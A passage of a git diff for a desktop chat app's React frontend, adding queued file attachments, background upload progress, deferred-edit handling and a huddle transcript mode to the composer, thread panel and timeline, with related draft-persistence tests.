     emojiAutocomplete.clearEmojis,
+    media.clearQueuedAttachments,
     media.pendingImetaRef,
+    media.queuedAttachmentsRef,
+    media.restoreQueuedAttachments,
     media.setPendingImeta,
+    media.setUploadState,
     mentionSendFlow.isPreparingMentionSend,
     mentionSendFlow.sendMessageWithMentionFlow,
     mentions.clearMentions,
@@ -638,9 +615,12 @@ function MessageComposerImpl({
     persistentMentionHydration,
     persistentAudience.generation,
     persistentAudience.revision,
+    isEditSubmissionLocked,
+    effectiveDraftKey,
+    mentions.getDraftMentionRefs,
+    mentions.restoreDraftMentionRefs,
   ]);
   submitMessageRef.current = submitMessage;
-
   // ── Auto-submit on draft send ────────────────────────────────────────────
   // When `autoSubmitDraftKey` is set (the user clicked "Send message" in the
   // Drafts panel and confirmed), fire `submitMessage` once after mount so the
@@ -654,7 +634,6 @@ function MessageComposerImpl({
   // runs, preventing re-fire on re-render or back-navigation.
   const onAutoSubmitCompleteRef = React.useRef(onAutoSubmitComplete);
   onAutoSubmitCompleteRef.current = onAutoSubmitComplete;
-
   // biome-ignore lint/correctness/useExhaustiveDependencies: intentionally fires once on mount only
   React.useEffect(() => {
     if (
@@ -677,7 +656,6 @@ function MessageComposerImpl({
     };
     // eslint-disable-next-line react-hooks/exhaustive-deps
   }, []); // mount-only
-
   const handleSubmit = React.useCallback(
     (event: React.FormEvent<HTMLFormElement>) => {
       event.preventDefault();
@@ -685,7 +663,6 @@ function MessageComposerImpl({
     },
     [submitMessage],
   );
-
   // ── Keyboard handling ───────────────────────────────────────────────
   // Tiptap handles formatting shortcuts (⌘B, ⌘I, etc.) natively.
   // Plain Enter → submit is now handled inside the Tiptap `submitOnEnter`
@@ -701,7 +678,6 @@ function MessageComposerImpl({
         }
         return;
       }
-
       const channelResult = channelLinks.handleChannelKeyDown(event);
       if (channelResult.handled) {
         if (channelResult.suggestion) {
@@ -709,7 +685,6 @@ function MessageComposerImpl({
         }
         return;
       }
-
       const { handled, suggestion } = mentions.handleMentionKeyDown(event);
       if (handled) {
         if (suggestion) {
@@ -717,7 +692,6 @@ function MessageComposerImpl({
         }
         return;
       }
-
       if (event.key === "Tab" && !event.shiftKey && linkEditor.isCardOpen) {
         event.preventDefault();
         if (!linkEditor.focusCardFirstControl()) {
@@ -727,7 +701,12 @@ function MessageComposerImpl({
       }
 
       // Escape in edit mode
-      if (event.key === "Escape" && editTargetRef.current && onCancelEdit) {
+      if (
+        event.key === "Escape" &&
+        !isDeferredEditPending &&
+        editTargetRef.current &&
+        onCancelEdit
+      ) {
         event.preventDefault();
         onCancelEdit();
         return;
@@ -742,6 +721,7 @@ function MessageComposerImpl({
       applyMentionInsert,
       linkEditor.isCardOpen,
       linkEditor.focusCardFirstControl,
+      isDeferredEditPending,
       onCancelEdit,
     ],
   );
@@ -824,22 +804,23 @@ function MessageComposerImpl({
   // ── Send button state ───────────────────────────────────────────────
   const sendDisabled = React.useMemo(
     () =>
-      disabled ||
+      composerDisabled ||
       media.isUploading ||
       mentionSendFlow.isPreparingMentionSend ||
-      (isContentEmpty && media.pendingImeta.length === 0),
+      (isContentEmpty &&
+        media.pendingImeta.length === 0 &&
+        media.queuedAttachments.length === 0),
     [
-      disabled,
+      composerDisabled,
       media.isUploading,
       mentionSendFlow.isPreparingMentionSend,
       isContentEmpty,
       media.pendingImeta.length,
+      media.queuedAttachments.length,
     ],
   );
 
-  const handleCaptureSelection = React.useCallback(() => {
-    // No-op for Tiptap — selection is managed by ProseMirror.
-  }, []);
+  const handleCaptureSelection = React.useCallback(() => {}, []);
 
   const handlePaperclipClick = React.useCallback(() => {
     void media.handlePaperclip();
@@ -893,10 +874,20 @@ function MessageComposerImpl({
         <div className="relative flex w-full flex-col gap-0">
           <ComposerReplyEditBanner
             isEditing={editTarget != null}
+            isEditCancelDisabled={isDeferredEditPending}
             replyTarget={replyTarget}
             onCancelEdit={onCancelEdit}
             onCancelReply={onCancelReply}
           />
+          {showBackgroundUploadProgress ? (
+            <ComposerUploadProgressPill
+              canCancel={backgroundUpload.canCancel}
+              isUploading={backgroundUpload.isUploading}
+              onCancel={cancelBackgroundMediaUploads}
+              phase={backgroundUpload.phase}
+              percentage={backgroundUpload.percentage}
+            />
+          ) : null}
           <form
             className={cn(
               "relative z-10 isolate rounded-2xl border border-border/50 bg-background/80 px-3 pb-2 pt-3 shadow-none supports-[backdrop-filter]:bg-background/70 dark:bg-background/70 dark:supports-[backdrop-filter]:bg-background/55 sm:px-4",
@@ -910,6 +901,10 @@ function MessageComposerImpl({
             onDrop={
               ownsDropZone
                 ? (e) => {
+                    if (isDeferredEditPending) {
+                      e.preventDefault();
+                      return;
+                    }
                     void media.handleDrop(e);
                   }
                 : undefined
@@ -956,12 +951,17 @@ function MessageComposerImpl({
               </div>
             ) : null}
 
-            {(media.pendingImeta.length > 0 || media.isUploading) && (
+            {(media.pendingImeta.length > 0 ||
+              media.queuedAttachments.length > 0 ||
+              media.isUploading) && (
               <div className="mb-2 flex items-center gap-2">
                 <ComposerAttachments
                   attachments={media.pendingImeta}
                   isUploading={media.isUploading}
                   onCancelUpload={media.cancelUpload}
+                  onRemoveQueued={media.removeQueuedAttachment}
+                  onToggleQueuedSpoiler={media.toggleQueuedAttachmentSpoiler}
+                  queuedPreviews={media.queuedPreviews}
                   uploadingCount={media.uploadingCount}
                   uploadingPreviews={media.uploadingPreviews}
                   onEditSave={handleAttachmentEditSave}
@@ -986,10 +986,10 @@ function MessageComposerImpl({
 
             <ComposerDockToolbar
               layoutMode={layoutMode}
-              composerDisabled={disabled}
+              composerDisabled={composerDisabled}
               editor={richText.editor}
               extraActions={toolbarExtraActions}
-              formattingDisabled={disabled}
+              formattingDisabled={composerDisabled}
               isEmojiPickerOpen={isEmojiPickerOpen}
               isFormattingOpen={isFormattingOpen}
               isSending={isSending}
@@ -1007,15 +1007,7 @@ function MessageComposerImpl({
         </div>
       </footer>
 
-      <NonMemberMentionDialog
-        error={mentionSendFlow.nonMemberPromptError}
-        isInvitePending={mentionSendFlow.isInvitePending}
-        names={mentionSendFlow.pendingNonMemberNames}
-        onDismiss={mentionSendFlow.dismissNonMemberPrompt}
-        onDoNothing={mentionSendFlow.sendWithoutInviting}
-        onInvite={mentionSendFlow.inviteNonMembers}
-        open={mentionSendFlow.pendingNonMemberSend !== null}
-      />
+      <NonMemberMentionDialog {...mentionSendFlow.nonMemberPromptProps} />
 
       {linkEditor.card}
       {linkEditor.dialog}
diff --git a/desktop/src/features/messages/ui/MessageComposer.types.ts b/desktop/src/features/messages/ui/MessageComposer.types.ts
index 800474c3dd..22e9b75b0a 100644
--- a/desktop/src/features/messages/ui/MessageComposer.types.ts
+++ b/desktop/src/features/messages/ui/MessageComposer.types.ts
@@ -51,6 +51,7 @@ export type MessageComposerProps = {
   } | null;
   isSending?: boolean;
   mediaController?: MediaUploadController;
+  onDeferredEditPendingChange?: (isPending: boolean) => void;
   onCancelEdit?: () => void;
   onCancelReply?: () => void;
   /**
@@ -66,6 +67,8 @@ export type MessageComposerProps = {
     content: string,
     mediaTags?: string[][],
     mentionPubkeys?: string[],
+    /** Target captured when the edit was submitted; avoids a later ref swap. */
+    eventId?: string,
   ) => Promise<void>;
   /** Captures send context synchronously before awaits can change navigation. */
   onCaptureSendContext?: () => {
@@ -92,6 +95,8 @@ export type MessageComposerProps = {
     id: string;
   } | null;
   showTopBorder?: boolean;
+  /** Render the app-wide upload queue above this composer dock. */
+  showBackgroundUploadProgress?: boolean;
   toolbarExtraActions?: ReactNode;
   typingParentEventId?: string | null;
   typingRootEventId?: string | null;
diff --git a/desktop/src/features/messages/ui/MessageComposerDraftImagePersist.test.mjs b/desktop/src/features/messages/ui/MessageComposerDraftImagePersist.test.mjs
index f6bfff3841..46b5d91d5b 100644
--- a/desktop/src/features/messages/ui/MessageComposerDraftImagePersist.test.mjs
+++ b/desktop/src/features/messages/ui/MessageComposerDraftImagePersist.test.mjs
@@ -237,10 +237,15 @@ import { useDraftPersistLifecycle } from "./useDraftPersistSnapshot.ts";
 // Real storage functions — the test uses them, not a replica.
 import {
   clearAllDrafts,
+  deleteDraftEntry,
   initDraftStore,
   loadDraftEntry,
   persistDraftEntry,
 } from "../lib/useDrafts.ts";
+import {
+  saveQueuedAttachmentsForDraft,
+  takeQueuedAttachmentsForDraft,
+} from "../lib/backgroundMediaUploadStore.ts";
 
 // ── Helpers ───────────────────────────────────────────────────────────────────
 
@@ -579,3 +584,81 @@ test("draft_lifecycle_empty_target_clears_stale_mention_refs", async () => {
 
   await handle.unmount();
 });
+
+test("draft_lifecycle_preserves_local_files_across_a_b_a_switch", async () => {
+  setupStore("pubkey-switch-files");
+  const FILE_A = {
+    file: new File(["report"], "report.pdf", { type: "application/pdf" }),
+    id: 7,
+    spoilered: false,
+  };
+  let draftKey = "chan-a";
+  let editorContent = "";
+  let queuedAttachments = [];
+  const spoileredRef = { current: new Set() };
+
+  function HarnessComposer() {
+    useDraftPersistLifecycle({
+      effectiveDraftKey: draftKey,
+      channelId: draftKey,
+      loadDraft: loadDraftEntry,
+      persistDraft: persistDraftEntry,
+      getMentionRefs: () => [],
+      restoreMentionRefs: () => {},
+      livePendingImeta: [],
+      setPendingImeta: () => {},
+      getQueuedAttachments: () => queuedAttachments,
+      saveQueuedAttachmentsForDraft,
+      clearQueuedAttachments: () => {
+        queuedAttachments = [];
+      },
+      restoreQueuedAttachments: (attachments) => {
+        queuedAttachments = attachments;
+      },
+      takeQueuedAttachmentsForDraft,
+      setContent: (content) => {
+        editorContent = content;
+      },
+      clearContent: () => {
+        editorContent = "";
+      },
+      setSpoileredAttachmentUrls: () => {},
+      spoileredAttachmentUrlsRef: spoileredRef,
+      syncComposerContentFromEditor: () => editorContent,
+    });
+    return null;
+  }
+
+  saveQueuedAttachmentsForDraft("chan-a", [FILE_A]);
+  const handle = await mountStrictMode(HarnessComposer);
+  assert.equal(queuedAttachments[0]?.file.name, "report.pdf");
+
+  draftKey = "chan-b";
+  await handle.rerender();
+  assert.deepEqual(queuedAttachments, [], "B must not inherit A's local files");
+
+  draftKey = "chan-a";
+  await handle.rerender();
+  assert.equal(
+    queuedAttachments[0]?.file.name,
+    "report.pdf",
+    "A's attachment-only draft survives a full A → B → A switch",
+  );
+
+  await handle.unmount();
+});
+
+test("discarding_a_draft_drops_its_retained_local_files", () => {
+  const retainedFile = {
+    file: new File(["private"], "private.pdf", {
+      type: "application/pdf",
+    }),
+    id: 8,
+    spoilered: false,
+  };
+
+  saveQueuedAttachmentsForDraft("chan-deleted", [retainedFile]);
+  deleteDraftEntry("chan-deleted");
+
+  assert.deepEqual(takeQueuedAttachmentsForDraft("chan-deleted"), []);
+});
diff --git a/desktop/src/features/messages/ui/MessageComposerToolbar.tsx b/desktop/src/features/messages/ui/MessageComposerToolbar.tsx
index 1c8087e992..efb0d3b3b9 100644
--- a/desktop/src/features/messages/ui/MessageComposerToolbar.tsx
+++ b/desktop/src/features/messages/ui/MessageComposerToolbar.tsx
@@ -179,7 +179,7 @@ export const MessageComposerToolbar = React.memo(
                 <Tooltip disableHoverableContent>
                   <TooltipTrigger asChild>
                     <Button
-                      aria-label="Attach image"
+                      aria-label="Attach file"
                       disabled={composerDisabled || isUploading}
                       onClick={onPaperclip}
                       onMouseDown={onCaptureSelection}
@@ -190,7 +190,7 @@ export const MessageComposerToolbar = React.memo(
                       <Paperclip />
                     </Button>
                   </TooltipTrigger>
-                  <TooltipContent>Attach image</TooltipContent>
+                  <TooltipContent>Attach file</TooltipContent>
                 </Tooltip>
                 <ComposerEmojiPicker
                   disabled={composerDisabled}
diff --git a/desktop/src/features/messages/ui/MessageHeader.tsx b/desktop/src/features/messages/ui/MessageHeader.tsx
index 7e54c1ce06..64b53fbdde 100644
--- a/desktop/src/features/messages/ui/MessageHeader.tsx
+++ b/desktop/src/features/messages/ui/MessageHeader.tsx
@@ -39,7 +39,7 @@ export function MessageAuthorText({
   return (
     <Component
       className={cn(
-        "truncate text-sm font-semibold leading-4 tracking-tight",
+        "truncate text-sm font-bold leading-4 tracking-tight",
         hoverUnderline && "hover:underline",
         className,
       )}
diff --git a/desktop/src/features/messages/ui/MessageReactions.tsx b/desktop/src/features/messages/ui/MessageReactions.tsx
index 2250b3931f..d4bec8db6c 100644
--- a/desktop/src/features/messages/ui/MessageReactions.tsx
+++ b/desktop/src/features/messages/ui/MessageReactions.tsx
@@ -17,7 +17,7 @@ import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
 
 const REACTION_PILL_BASE_CLASSES =
   "inline-flex h-7 items-center rounded-full border text-xs font-medium leading-none transition-colors";
-const REACTION_CUSTOM_GLYPH_CLASSES = "h-3.5 w-3.5 -translate-y-[0.5px]";
+const REACTION_CUSTOM_GLYPH_CLASSES = "h-3.5 w-3.5";
 const REACTION_NATIVE_GLYPH_CLASSES = "h-3 w-3 text-xs";
 const REACTION_COUNT_CLASSES = "text-muted-foreground";
 const REACTION_NATIVE_COUNT_CLASSES =
@@ -126,7 +126,10 @@ function ReactionPopoverContent({ reaction }: { reaction: TimelineReaction }) {
       <div className="max-w-[14rem] text-balance text-sm font-semibold leading-snug text-popover-foreground">
         {userText} <span className="text-muted-foreground">reacted with</span>
       </div>
-      <div className="mt-0.5 text-sm font-semibold leading-snug text-muted-foreground">
+      <div
+        className="mt-0.5 break-all text-sm font-semibold leading-snug text-muted-foreground"
+        data-testid="reaction-popover-name"
+      >
         {displayName}
       </div>
     </div>
@@ -504,7 +507,7 @@ function ReactionPill({
         align="start"
         side="top"
         sideOffset={6}
-        className="w-auto min-w-56 max-w-72 rounded-xl p-3"
+        className="w-72 rounded-xl p-3"
         onMouseEnter={handleMouseEnter}
         onMouseLeave={scheduleClose}
         onOpenAutoFocus={(e) => e.preventDefault()}
diff --git a/desktop/src/features/messages/ui/MessageRow.tsx b/desktop/src/features/messages/ui/MessageRow.tsx
index 688b5d5f0d..9f55e712f1 100644
--- a/desktop/src/features/messages/ui/MessageRow.tsx
+++ b/desktop/src/features/messages/ui/MessageRow.tsx
@@ -70,6 +70,7 @@ export const MessageRow = React.memo(
     hoverBackground = true,
     huddleMemberPubkeys,
     huddleMemberPubkeysPending = false,
+    hideAgentAccessBadge = false,
     actionBarPlacement = "floating",
     collapseDescendantsLabel,
     isFollowingThread,
@@ -107,6 +108,7 @@ export const MessageRow = React.memo(
     hoverBackground?: boolean;
     huddleMemberPubkeys?: readonly string[];
     huddleMemberPubkeysPending?: boolean;
+    hideAgentAccessBadge?: boolean;
     actionBarPlacement?: "floating" | "inside";
     collapseDescendantsLabel?: string;
     isFollowingThread?: boolean;
@@ -334,8 +336,8 @@ export const MessageRow = React.memo(
           return (
             <HuddleAttachment
               channelId={channelId}
+              className="mt-2"
               message={message}
-              onOpenThread={onReply}
             />
           );
         default:
@@ -399,7 +401,9 @@ export const MessageRow = React.memo(
           displayName={message.author}
           testId="message-avatar"
         />
-        {showRespondToIndicator && !isThreadReplyLayout ? (
+        {showRespondToIndicator &&
+        !hideAgentAccessBadge &&
+        !isThreadReplyLayout ? (
           <span
             className={cn(
               "absolute -bottom-0.5 -right-0.5 flex h-3 w-3 items-center justify-center rounded-full bg-background",
@@ -874,6 +878,7 @@ export const MessageRow = React.memo(
     prev.hoverBackground === next.hoverBackground &&
     prev.huddleMemberPubkeys === next.huddleMemberPubkeys &&
     prev.huddleMemberPubkeysPending === next.huddleMemberPubkeysPending &&
+    prev.hideAgentAccessBadge === next.hideAgentAccessBadge &&
     prev.isContinuation === next.isContinuation &&
     prev.isFollowingThread === next.isFollowingThread &&
     prev.isUnread === next.isUnread &&
diff --git a/desktop/src/features/messages/ui/MessageThreadPanel.tsx b/desktop/src/features/messages/ui/MessageThreadPanel.tsx
index 6234af22d1..fb01783bf4 100644
--- a/desktop/src/features/messages/ui/MessageThreadPanel.tsx
+++ b/desktop/src/features/messages/ui/MessageThreadPanel.tsx
@@ -2,6 +2,7 @@ import * as React from "react";
 import { ArrowDown } from "lucide-react";
 
 import { useKnownAgentPubkeys } from "@/features/agents/useKnownAgentPubkeys";
+import { HuddleTranscriptIntro } from "@/features/huddle/components/HuddleTranscriptIntro";
 import { orderMentionPubkeysByText } from "@/features/messages/lib/orderMentionPubkeys";
 import { normalizePubkey } from "@/shared/lib/pubkey";
 import { resolveMentionProps } from "@/shared/lib/resolveMentionNames";
@@ -59,6 +60,8 @@ type MessageThreadPanelProps = ThreadPanelLayoutProps & {
   firstUnreadReplyId?: string | null;
   huddleMemberPubkeys?: readonly string[];
   huddleMemberPubkeysPending?: boolean;
+  /** Present the huddle's parent-channel thread as a dedicated live chat. */
+  isHuddleTranscript?: boolean;
   editTarget?: {
     author: string;
     body: string;
@@ -191,6 +194,7 @@ export function MessageThreadPanel({
   firstUnreadReplyId,
   huddleMemberPubkeys,
   huddleMemberPubkeysPending = false,
+  isHuddleTranscript = false,
   layout = "standalone",
   editTarget,
   headerLeading,
@@ -245,7 +249,10 @@ export function MessageThreadPanel({
   >(null);
   const isOverlay = useIsThreadPanelOverlay();
   const threadHeadId = threadHead?.id ?? null;
-  useEscapeKey(onClose, isOverlay || isSinglePanelView || isFocusMode);
+  useEscapeKey(
+    onClose,
+    !isHuddleTranscript && (isOverlay || isSinglePanelView || isFocusMode),
+  );
   const hasConstrainedColumn = columnMaxWidthPx != null;
   // Whether the composer dock trades its quiet-state spacer for the
   // conditional activity accessory (agent working and/or someone typing).
@@ -359,7 +366,9 @@ export function MessageThreadPanel({
   // card and the streaming-in `pending` state would both leave a rule hanging
   // over an empty region or a placeholder.
   const showThreadHeadDivider =
-    isFocusMode && (threadRepliesPending || repliesRenderState === "list");
+    !isHuddleTranscript &&
+    isFocusMode &&
+    (threadRepliesPending || repliesRenderState === "list");
 
   const threadMessages = React.useMemo(
     () => deferredThreadReplies.map((entry) => entry.message),
@@ -455,6 +464,7 @@ export function MessageThreadPanel({
       const startsUnreadSection =
         index > 0 && entry.message.id === firstUnreadReplyId;
       const isContinuation =
+        !isHuddleTranscript &&
         !startsUnreadSection &&
         entry.summary === null &&
         hasSameMessageAuthor(previousGroupMessage, entry.message) &&
@@ -482,6 +492,7 @@ export function MessageThreadPanel({
     deferredThreadReplies,
     firstUnreadReplyId,
     hoveredCollapseBranchId,
+    isHuddleTranscript,
     threadHead,
   ]);
 
@@ -544,6 +555,7 @@ export function MessageThreadPanel({
       className="overflow-y-auto overflow-x-hidden overscroll-contain pb-24"
       data-buzz-conversation-scroll
       data-testid="message-thread-body"
+      mode={isHuddleTranscript ? "panel" : undefined}
       onScroll={onScroll}
       tabIndex={-1}
       ref={threadBodyRef}
@@ -555,57 +567,63 @@ export function MessageThreadPanel({
           hasConstrainedColumn ? { maxWidth: columnMaxWidthPx } : undefined
         }
       >
-        <div
-          className={cn(THREAD_PANEL_MESSAGE_GUTTER_CLASS, "pb-1 pt-0")}
-          data-testid="message-thread-head"
-        >
-          <div className="rounded-2xl">
-            <MessageRow
-              actionBarPlacement="inside"
-              channelId={channelId}
-              huddleMemberPubkeys={huddleMemberPubkeys}
-              huddleMemberPubkeysPending={huddleMemberPubkeysPending}
-              isFollowingThread={isFollowingThread}
-              isUnread={isMessageUnreadById?.(threadHead.id)}
-              layoutVariant="thread-reply"
-              message={threadHead}
-              onDelete={
-                onDelete &&
-                canManageMessageForCurrentUser(
-                  threadHead,
-                  currentPubkey,
-                  profiles,
-                )
-                  ? onDelete
-                  : undefined
-              }
-              onEdit={
-                onEdit &&
-                canManageMessageForCurrentUser(
-                  threadHead,
-                  currentPubkey,
-                  profiles,
-                )
-                  ? onEdit
-                  : undefined
-              }
-              onFollowThread={
-                onFollowThread ? (_msg) => onFollowThread() : undefined
-              }
-              onMarkUnread={onMarkUnread}
-              onMarkRead={onMarkRead}
-              onToggleReaction={onToggleReaction}
-              onUnfollowThread={
-                onUnfollowThread ? (_msg) => onUnfollowThread() : undefined
-              }
-              profiles={profiles}
-              showDepthGuides={shouldShowThreadBranchGuides}
-              videoReviewContext={videoReviewContextsByMessageId?.get(
-                threadHead.id,
-              )}
-            />
+        {isHuddleTranscript ? (
+          <div className={cn(THREAD_PANEL_MESSAGE_GUTTER_CLASS, "pb-2 pt-4")}>
+            <HuddleTranscriptIntro />
           </div>
-        </div>
+        ) : (
+          <div
+            className={cn(THREAD_PANEL_MESSAGE_GUTTER_CLASS, "pb-1 pt-0")}
+            data-testid="message-thread-head"
+          >
+            <div className="rounded-2xl">
+              <MessageRow
+                actionBarPlacement="inside"
+                channelId={channelId}
+                huddleMemberPubkeys={huddleMemberPubkeys}
+                huddleMemberPubkeysPending={huddleMemberPubkeysPending}
+                isFollowingThread={isFollowingThread}
+                isUnread={isMessageUnreadById?.(threadHead.id)}
+                layoutVariant="thread-reply"
+                message={threadHead}
+                onDelete={
+                  onDelete &&
+                  canManageMessageForCurrentUser(
+                    threadHead,
+                    currentPubkey,
+                    profiles,
+                  )
+                    ? onDelete
+                    : undefined
+                }
+                onEdit={
+                  onEdit &&
+                  canManageMessageForCurrentUser(
+                    threadHead,
+                    currentPubkey,
+                    profiles,
+                  )
+                    ? onEdit
+                    : undefined
+                }
+                onFollowThread={
+                  onFollowThread ? (_msg) => onFollowThread() : undefined
+                }
+                onMarkUnread={onMarkUnread}
+                onMarkRead={onMarkRead}
+                onToggleReaction={onToggleReaction}
+                onUnfollowThread={
+                  onUnfollowThread ? (_msg) => onUnfollowThread() : undefined
+                }
+                profiles={profiles}
+                showDepthGuides={shouldShowThreadBranchGuides}
+                videoReviewContext={videoReviewContextsByMessageId?.get(
+                  threadHead.id,
+                )}
+              />
+            </div>
+          </div>
+        )}
 
         {showThreadHeadDivider ? (
           <div
@@ -620,7 +638,7 @@ export function MessageThreadPanel({
           className={cn(THREAD_PANEL_MESSAGE_GUTTER_CLASS, "pb-3 pt-0")}
           data-testid="message-thread-replies"
         >
-          {threadRepliesPending ? (
+          {threadRepliesPending && !isHuddleTranscript ? (
             <div
               className="space-y-2.5 pt-1"
               data-testid="message-thread-replies-loading"
@@ -793,7 +811,7 @@ export function MessageThreadPanel({
                 })}
               </div>
             )
-          ) : repliesRenderState === "empty" ? (
+          ) : repliesRenderState === "empty" && !isHuddleTranscript ? (
             // Only show the empty state when the thread is GENUINELY empty.
             // Keying off `deferredThreadReplies` would flash "No replies" for a
             // frame while a non-empty list streams in on the deferred commit.
@@ -878,7 +896,11 @@ export function MessageThreadPanel({
               onEditLastOwnMessage={onEditLastOwnMessage}
               onEditSave={onEditSave}
               onSend={onSend}
-              placeholder={`Reply in thread to ${threadHead.author}`}
+              placeholder={
+                isHuddleTranscript
+                  ? "Message the huddle"
+                  : `Reply in thread to ${threadHead.author}`
+              }
               profiles={profiles}
               replyTarget={composerReplyTarget}
               typingParentEventId={threadHead.id}
@@ -939,7 +961,9 @@ export function MessageThreadPanel({
       enterMotion={!isFocusMode}
       footer={threadFooter}
       header={
-        <AuxiliaryPanelHeader>{threadHeaderContent}</AuxiliaryPanelHeader>
+        isHuddleTranscript ? undefined : (
+          <AuxiliaryPanelHeader>{threadHeaderContent}</AuxiliaryPanelHeader>
+        )
       }
       isSinglePanelView={isSinglePanelView}
       layout={layout}
diff --git a/desktop/src/features/messages/ui/MessageTimeline.tsx b/desktop/src/features/messages/ui/MessageTimeline.tsx
index cc5fb1e3dc..6d9c49b756 100644
--- a/desktop/src/features/messages/ui/MessageTimeline.tsx
+++ b/desktop/src/features/messages/ui/MessageTimeline.tsx
@@ -70,6 +70,14 @@ type MessageTimelineProps = {
   scrollContainerRef?: React.RefObject<HTMLDivElement | null>;
   /** True when the timeline has the composer overlay below it. */
   hasComposerOverlay?: boolean;
+  /** Companion huddle transcripts are live conversations, not channel history. */
+  hideDayDividers?: boolean;
+  /** Show speaker identity on every row instead of grouping consecutive messages. */
+  alwaysShowMessageIdentity?: boolean;
+  /** Hide agent access-policy badges in the purpose-built Huddle chat. */
+  hideAgentAccessBadges?: boolean;
+  /** Stable context rendered above the timeline, including when it is empty. */
+  pinnedIntro?: React.ReactNode;
   isFetchingOlder?: boolean;
   messageFooters?: Record<string, React.ReactNode>;
   /** Map from lowercase pubkey → persona display name for bot members. */
@@ -84,6 +92,7 @@ type MessageTimelineProps = {
   onMarkUnread?: (message: TimelineMessage) => void;
   onMarkRead?: (message: TimelineMessage) => void;
   onReply?: (message: TimelineMessage) => void;
+  onOpenThread?: (message: TimelineMessage) => void;
   isSendingVideoReviewComment?: boolean;
   onSendVideoReviewComment?: (
     message: TimelineMessage,
@@ -161,6 +170,10 @@ const MessageTimelineBase = React.forwardRef<
     currentPubkey,
     fetchOlder,
     hasComposerOverlay = true,
+    hideDayDividers = false,
+    alwaysShowMessageIdentity = false,
+    hideAgentAccessBadges = false,
+    pinnedIntro,
     hasOlderMessages = true,
     historyExhausted = false,
     isFetchingOlder = false,
@@ -178,6 +191,7 @@ const MessageTimelineBase = React.forwardRef<
     onMarkUnread,
     onMarkRead,
     onReply,
+    onOpenThread,
     channelName,
     channelType,
     isSendingVideoReviewComment = false,
@@ -273,7 +287,10 @@ const MessageTimelineBase = React.forwardRef<
 
   const timelineBodySurface = selectTimelineBodySurface({
     deferredCount: deferredMessages.length,
-    hasPersistentIntro: channelIntro !== null || directMessageIntro !== null,
+    hasPersistentIntro:
+      channelIntro !== null ||
+      directMessageIntro !== null ||
+      pinnedIntro != null,
     isLoading: isLoading || isDeferredSnapshotStale,
     liveCount: messages.length,
   });
@@ -416,11 +433,16 @@ const MessageTimelineBase = React.forwardRef<
     ? directMessageIntro
     : null;
   const activeChannelIntro = showChannelIntro ? channelIntro : null;
+  const activePinnedIntro = pinnedIntro ?? null;
   const showIntro =
-    activeDirectMessageIntro !== null || activeChannelIntro !== null;
+    activeDirectMessageIntro !== null ||
+    activeChannelIntro !== null ||
+    activePinnedIntro !== null;
   const showGenericEmpty = timelineBodySurface === "empty" && !showIntro;
   const showMessageList = timelineBodySurface === "list";
   const showChannelIntroOnly = activeChannelIntro !== null && !showMessageList;
+  const showPinnedIntroOnly = activePinnedIntro !== null && !showMessageList;
+  const omitHistoryLeadIn = showChannelIntroOnly || showPinnedIntroOnly;
 
   const prepareForOwnMessage = React.useCallback(() => {
     // The user's own send is the deliberate Zulip exception: release buffered
@@ -579,7 +601,9 @@ const MessageTimelineBase = React.forwardRef<
 
   const virtualizedLeadingContent = React.useMemo(
     () =>
-      activeChannelIntro ? (
+      activePinnedIntro ? (
+        <div className="pt-3">{activePinnedIntro}</div>
+      ) : activeChannelIntro ? (
         <ChannelIntroBlock className="pb-4 pt-2" intro={activeChannelIntro} />
       ) : activeDirectMessageIntro ? (
         <div
@@ -601,7 +625,7 @@ const MessageTimelineBase = React.forwardRef<
           </p>
         </div>
       ) : null,
-    [activeChannelIntro, activeDirectMessageIntro],
+    [activeChannelIntro, activeDirectMessageIntro, activePinnedIntro],
   );
 
   const handleVirtualizerRangeChanged = React.useCallback(() => {
@@ -628,6 +652,9 @@ const MessageTimelineBase = React.forwardRef<
       mainEntries={renderedMessages === messages ? mainEntries : undefined}
       leadingContent={virtualizedLeadingContent}
       historyExhausted={renderedHistoryExhausted}
+      hideDayDividers={hideDayDividers}
+      alwaysShowMessageIdentity={alwaysShowMessageIdentity}
+      hideAgentAccessBadges={hideAgentAccessBadges}
       threadSummaries={threadSummaries}
       messages={renderedMessages}
       onDelete={onDelete}
@@ -635,6 +662,7 @@ const MessageTimelineBase = React.forwardRef<
       onMarkUnread={onMarkUnread}
       onMarkRead={onMarkRead}
       onReply={onReply}
+      onOpenThread={onOpenThread}
       isSendingVideoReviewComment={isSendingVideoReviewComment}
       onSendVideoReviewComment={onSendVideoReviewComment}
       onStartReached={loadOlderViaVirtualizer}
@@ -661,8 +689,8 @@ const MessageTimelineBase = React.forwardRef<
         {showUnreadPill ? (
           <div
             className={cn(
-              "pointer-events-none absolute inset-x-0 z-30 flex translate-y-3 justify-center px-4",
-              channelChrome.top,
+              "pointer-events-none absolute inset-x-0 z-30 flex justify-center px-4",
+              channelChrome.stickyTimelineTop,
             )}
           >
             <UnreadPill
@@ -681,8 +709,8 @@ const MessageTimelineBase = React.forwardRef<
         isRenderedTimelineBehindHistoryPrepend(deferredMessages, messages) ? (
           <div
             className={cn(
-              "pointer-events-none absolute inset-x-0 z-30 flex translate-y-3 justify-center px-4",
-              channelChrome.top,
+              "pointer-events-none absolute inset-x-0 z-30 flex justify-center px-4",
+              channelChrome.stickyTimelineTop,
             )}
             data-testid="message-timeline-fetching-older"
           >
@@ -734,7 +762,7 @@ const MessageTimelineBase = React.forwardRef<
               )}
               ref={contentRef}
             >
-              {showChannelIntroOnly ? null : (
+              {omitHistoryLeadIn ? null : (
                 <div ref={topSentinelRef} aria-hidden className="h-px" />
               )}
 
@@ -742,9 +770,7 @@ const MessageTimelineBase = React.forwardRef<
                   stable across load-older fetches. The intro-only state has no
                   history to anchor, so omitting it matches the virtualized
                   leading row's top geometry when the first message arrives. */}
-              {showChannelIntroOnly ? null : (
-                <div aria-hidden className="h-8" />
-              )}
+              {omitHistoryLeadIn ? null : <div aria-hidden className="h-8" />}
 
               <div
                 className={cn(
@@ -781,6 +807,10 @@ const MessageTimelineBase = React.forwardRef<
                   </div>
                 ) : null}
 
+                {activePinnedIntro ? (
+                  <div className="pt-3">{activePinnedIntro}</div>
+                ) : null}
+
                 {activeChannelIntro ? (
                   /* Top-anchored like the virtualized leading row, so the
                      first message arrives below with zero layout shift. */
@@ -824,8 +854,9 @@ const MessageTimelineBase = React.forwardRef<
         {!isAtBottom ? (
           <div
             className={cn(
-              "pointer-events-none absolute inset-x-0 z-50 flex justify-center px-4",
-              hasComposerOverlay ? "bottom-36" : "bottom-4",
+              "pointer-events-none absolute inset-x-0 bottom-4 z-50 flex justify-center px-4",
